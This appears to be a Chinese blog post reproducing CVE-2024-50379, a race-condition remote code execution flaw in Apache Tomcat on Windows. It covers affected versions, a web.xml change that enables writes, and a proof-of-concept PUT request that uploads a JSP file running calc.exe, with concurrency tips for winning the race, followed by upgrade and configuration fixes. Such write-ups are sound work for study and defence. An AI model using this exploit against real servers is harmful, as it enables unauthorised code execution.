
Apache Tomcat条件竞争致远程代码执行漏洞(CVE-2024-50379)
漏洞介绍
Apache Tomcat 中 JSP 编译期间的使用时间 (TOCTOU) 争用条件漏洞允许在启用默认 servlet 写入(非默认配置)时对不区分大小写的文件系统进行 RCE。当默认 Servlet 的 readonly 参数被设置为 false(非默认配置)并允许使用 PUT 方法上传文件时,攻击者能够上传包含恶意 JSP 代码的文件并通过条件竞争不断发送请求,触发 Tomcat 对其解析和执行,最终实现远程代码执行。
影响范围
Windows 环境
Apache Tomcat 11.0.0-M1 to 11.0.1Apache Tomcat 10.1.0-M1 to 10.1.33Apache Tomcat 9.0.0.M1 to 9.0.97
漏洞复现
环境下载
https://archive.apache.org/dist/tomcat/tomcat-9/
v9.0.97
修改conf/web.xml
<!-- 设置 readonly 为 false,允许资源被写入或修改 --> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param>
原理
Tomcat 的编译与加载过程出现 Race Condition:
JSP 文件被写入时触发编译。
在文件被完全编译成
.class
文件并删除前的时间窗口内,某些访问可能会跳过完整检查,触发恶意代码执行。在 Windows 系统中,由于文件名不区分大小写(
aa.Jsp
与aa.jsp
被视为同一个文件),当文件写入和访问同时发生时,会导致:1. JSP 文件被写入时触发编译
2. 在文件被完全编译成
.class
文件并删除前的时间窗口内,某些访问可能会跳过完整检查,触发恶意代码执行。
POC
PUT /aa.Jsp HTTP/1.1Host: 127.0.0.1:8080Content-Type: application/json
aa<% Runtime.getRuntime().exec("calc.exe");%>
这里上传aa.Jsp bb.Jsp 文件,访问 aa.jsp bb.jsp
(复现的时候可先并发get访问aa.jsp bb.jsp 再同时上传aa.Jsp bb.Jsp,并发设置10000即可,容易卡死)
修复意见
升级tomcat版本
禁用文件写入功能
<init-param> <param-name>readonly</param-name> <param-value>true</param-value></init-param>
参考链接
https://lists.apache.org/thread/y6lj6q1xnp822g6ro70tn19sgtjmr80r
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果